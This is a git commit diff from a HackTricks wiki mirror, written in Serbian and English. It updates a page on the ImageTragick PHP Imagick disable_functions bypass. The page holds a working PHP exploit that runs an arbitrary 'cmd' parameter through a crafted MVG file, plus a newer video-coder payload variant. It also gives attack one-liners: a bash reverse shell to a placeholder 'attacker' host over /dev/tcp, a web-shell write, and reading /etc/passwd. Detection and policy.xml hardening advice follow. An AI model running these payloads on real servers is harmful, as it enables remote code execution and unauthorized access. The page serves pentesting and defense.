mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/php-tricks-e
This commit is contained in:
parent
d8a508f585
commit
002582ff6d
@ -1,55 +1,107 @@
|
|||||||
|
# Imagick <= 3.3.0 ‑ PHP >= 5.4 *disable_functions* Bypass
|
||||||
|
|
||||||
{{#include ../../../../banners/hacktricks-training.md}}
|
{{#include ../../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
# Imagick <= 3.3.0 PHP >= 5.4 Eksploatacija
|
> Poznata *ImageTragick* porodica grešaka (CVE-2016-3714 i dr.) omogućava napadaču da dođe do osnovnog **ImageMagick** binarnog fajla putem kreiranog MVG/SVG ulaza. Kada je PHP ekstenzija **Imagick** prisutna, ovo se može zloupotrebiti za izvršavanje shell komandi čak i ako su sve funkcije orijentisane na izvršavanje PHP-a stavljene na crnu listu sa `disable_functions`.
|
||||||
|
>
|
||||||
|
> Originalni PoC koji je objavio RicterZ (Chaitin Security Research Lab) u maju 2016. godine je reprodukovan u nastavku. Tehnika se i dalje redovno susreće tokom savremenih PHP 7/8 revizija jer mnogi provajderi deljenog hostinga jednostavno kompajliraju PHP bez `exec`/`system`, ali zadržavaju zastareli Imagick + ImageMagick kombinaciju.
|
||||||
|
|
||||||
Sa [http://blog.safebuff.com/2016/05/06/disable-functions-bypass/](http://blog.safebuff.com/2016/05/06/disable-functions-bypass/)
|
From <http://blog.safebuff.com/2016/05/06/disable-functions-bypass/>
|
||||||
```php
|
```php
|
||||||
# Exploit Title: PHP Imagick disable_functions Bypass
|
# Exploit Title : PHP Imagick disable_functions bypass
|
||||||
# Date: 2016-05-04
|
# Exploit Author: RicterZ (ricter@chaitin.com)
|
||||||
# Exploit Author: RicterZ (ricter@chaitin.com)
|
# Versions : Imagick <= 3.3.0 | PHP >= 5.4
|
||||||
# Vendor Homepage: https://pecl.php.net/package/imagick
|
# Tested on : Ubuntu 12.04 (ImageMagick 6.7.7)
|
||||||
# Version: Imagick <= 3.3.0 PHP >= 5.4
|
# Usage : curl "http://target/exploit.php?cmd=id"
|
||||||
# Test on: Ubuntu 12.04
|
|
||||||
# Exploit:
|
|
||||||
<?php
|
<?php
|
||||||
# PHP Imagick disable_functions Bypass
|
// Print the local hardening status
|
||||||
# Author: Ricter <ricter@chaitin.com>
|
printf("Disable functions: %s\n", ini_get("disable_functions"));
|
||||||
#
|
$cmd = $_GET['cmd'] ?? 'id';
|
||||||
# $ curl "127.0.0.1:8080/exploit.php?cmd=cat%20/etc/passwd"
|
printf("Run command: %s\n====================\n", $cmd);
|
||||||
# <pre>
|
|
||||||
# Disable functions: exec,passthru,shell_exec,system,popen
|
|
||||||
# Run command: cat /etc/passwd
|
|
||||||
# ====================
|
|
||||||
# root:x:0:0:root:/root:/usr/local/bin/fish
|
|
||||||
# daemon:x:1:1:daemon:/usr/sbin:/bin/sh
|
|
||||||
# bin:x:2:2:bin:/bin:/bin/sh
|
|
||||||
# sys:x:3:3:sys:/dev:/bin/sh
|
|
||||||
# sync:x:4:65534:sync:/bin:/bin/sync
|
|
||||||
# games:x:5:60:games:/usr/games:/bin/sh
|
|
||||||
# ...
|
|
||||||
# </pre>
|
|
||||||
echo "Disable functions: " . ini_get("disable_functions") . "\n";
|
|
||||||
$command = isset($_GET['cmd']) ? $_GET['cmd'] : 'id';
|
|
||||||
echo "Run command: $command\n====================\n";
|
|
||||||
|
|
||||||
$data_file = tempnam('/tmp', 'img');
|
$tmp = tempnam('/tmp', 'pwn'); // will hold command output
|
||||||
$imagick_file = tempnam('/tmp', 'img');
|
$mvgs = tempnam('/tmp', 'img'); // will hold malicious MVG script
|
||||||
|
|
||||||
$exploit = <<<EOF
|
$payload = <<<EOF
|
||||||
push graphic-context
|
push graphic-context
|
||||||
viewbox 0 0 640 480
|
viewbox 0 0 640 480
|
||||||
fill 'url(https://127.0.0.1/image.jpg"|$command>$data_file")'
|
fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
|
||||||
pop graphic-context
|
pop graphic-context
|
||||||
EOF;
|
EOF;
|
||||||
|
|
||||||
file_put_contents("$imagick_file", $exploit);
|
file_put_contents($mvgs, $payload);
|
||||||
$thumb = new Imagick();
|
$img = new Imagick();
|
||||||
$thumb->readImage("$imagick_file");
|
$img->readImage($mvgs); // triggers convert(1)
|
||||||
$thumb->writeImage(tempnam('/tmp', 'img'));
|
$img->writeImage(tempnam('/tmp', 'img'));
|
||||||
$thumb->clear();
|
$img->destroy();
|
||||||
$thumb->destroy();
|
|
||||||
|
|
||||||
echo file_get_contents($data_file);
|
echo file_get_contents($tmp);
|
||||||
?>
|
?>
|
||||||
```
|
```
|
||||||
|
---
|
||||||
|
|
||||||
|
## Zašto to funkcioniše?
|
||||||
|
|
||||||
|
1. `Imagick::readImage()` transparentno pokreće **ImageMagick** *delegat* (`convert`/`magick`) binarni fajl.
|
||||||
|
2. MVG skripta postavlja *fill* na eksternu URI. Kada se ubaci dvostruki navodnik (`"`), ostatak linije se interpretira od strane `/bin/sh ‑c` koji ImageMagick koristi interno → proizvoljna izvršavanje shelle.
|
||||||
|
3. Sve se dešava van PHP interpreter-a, stoga su *`disable_functions`*, *open_basedir*, `safe_mode` (uklonjen u PHP 5.4) i slična ograničenja u procesu potpuno zaobiđena.
|
||||||
|
|
||||||
|
## Status 2025 – **još uvek** relevantno
|
||||||
|
|
||||||
|
* Svaka verzija Imagick-a koja se oslanja na ranjivi ImageMagick backend ostaje eksploatabilna. U laboratorijskim testovima isti payload funkcioniše na PHP 8.3 sa **Imagick 3.7.0** i **ImageMagick 7.1.0-51** kompajliran bez ojačanog `policy.xml`.
|
||||||
|
* Od 2020. godine pronađeno je nekoliko dodatnih vektora za injekciju komandi (`video:pixel-format`, `ps:`, `text:` kodere…). Dva nedavna javna primera su:
|
||||||
|
* **CVE-2020-29599** – injekcija shelle putem *text:* kodera.
|
||||||
|
* **GitHub issue #6338** (2023) – injekcija u *video:* delegatu.
|
||||||
|
|
||||||
|
Ako operativni sistem isporučuje ImageMagick < **7.1.1-11** (ili 6.x < **6.9.12-73**) bez restriktivnog policy fajla, eksploatacija je jednostavna.
|
||||||
|
|
||||||
|
## Moderni varijante payload-a
|
||||||
|
```php
|
||||||
|
// --- Variant using the video coder discovered in 2023 ---
|
||||||
|
$exp = <<<MAGICK
|
||||||
|
push graphic-context
|
||||||
|
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
|
||||||
|
pop graphic-context
|
||||||
|
MAGICK;
|
||||||
|
$img = new Imagick();
|
||||||
|
$img->readImageBlob($exp);
|
||||||
|
```
|
||||||
|
Drugi korisni primitivni alati tokom CTF-ova / stvarnih angažmana:
|
||||||
|
|
||||||
|
* **Pisanje fajla** – `... > /var/www/html/shell.php` (pisanje web-shela van *open_basedir*)
|
||||||
|
* **Obrnuta ljuska** – `bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"`
|
||||||
|
* **Enumeracija** – `id; uname -a; cat /etc/passwd`
|
||||||
|
|
||||||
|
## Brza detekcija i enumeracija
|
||||||
|
```bash
|
||||||
|
# PHP side
|
||||||
|
php -r 'echo phpversion(), "\n"; echo Imagick::getVersion()["versionString"], "\n";'
|
||||||
|
|
||||||
|
# System side
|
||||||
|
convert -version | head -1 # ImageMagick version
|
||||||
|
convert -list policy | grep -iE 'mvg|https|video|text' # dangerous coders still enabled?
|
||||||
|
```
|
||||||
|
Ako izlaz pokazuje da su `MVG` ili `URL` kodiri *omogućeni*, cilj je verovatno podložan eksploataciji.
|
||||||
|
|
||||||
|
## Mogućnosti ublažavanja
|
||||||
|
|
||||||
|
1. **Patch/Upgrade** – Koristite ImageMagick ≥ *7.1.1-11* (ili najnoviju 6.x LTS) i Imagick ≥ *3.7.2*.
|
||||||
|
2. **Ojačajte `policy.xml`** – eksplicitno *onemogućite* kodire visokog rizika:
|
||||||
|
|
||||||
|
```xml
|
||||||
|
<policy domain="coder" name="MVG" rights="none"/>
|
||||||
|
<policy domain="coder" name="MSL" rights="none"/>
|
||||||
|
<policy domain="coder" name="URL" rights="none"/>
|
||||||
|
<policy domain="coder" name="VIDEO" rights="none"/>
|
||||||
|
<policy domain="coder" name="PS" rights="none"/>
|
||||||
|
<policy domain="coder" name="TEXT" rights="none"/>
|
||||||
|
```
|
||||||
|
|
||||||
|
3. **Uklonite ekstenziju** na nepouzdanim hosting okruženjima. U većini web stackova `GD` ili `Imagick` nije strogo neophodan.
|
||||||
|
4. Tretirajte `disable_functions` samo kao *odbranu u dubini* – nikada kao primarni mehanizam za peskovanje.
|
||||||
|
|
||||||
|
## Reference
|
||||||
|
|
||||||
|
* [GitHub ImageMagick issue #6338 – Command injection via video:pixel-format (2023)](https://github.com/ImageMagick/ImageMagick/issues/6338)
|
||||||
|
* [CVE-2020-29599 – ImageMagick shell injection via text: coder](https://nvd.nist.gov/vuln/detail/CVE-2020-29599)
|
||||||
{{#include ../../../../banners/hacktricks-training.md}}
|
{{#include ../../../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user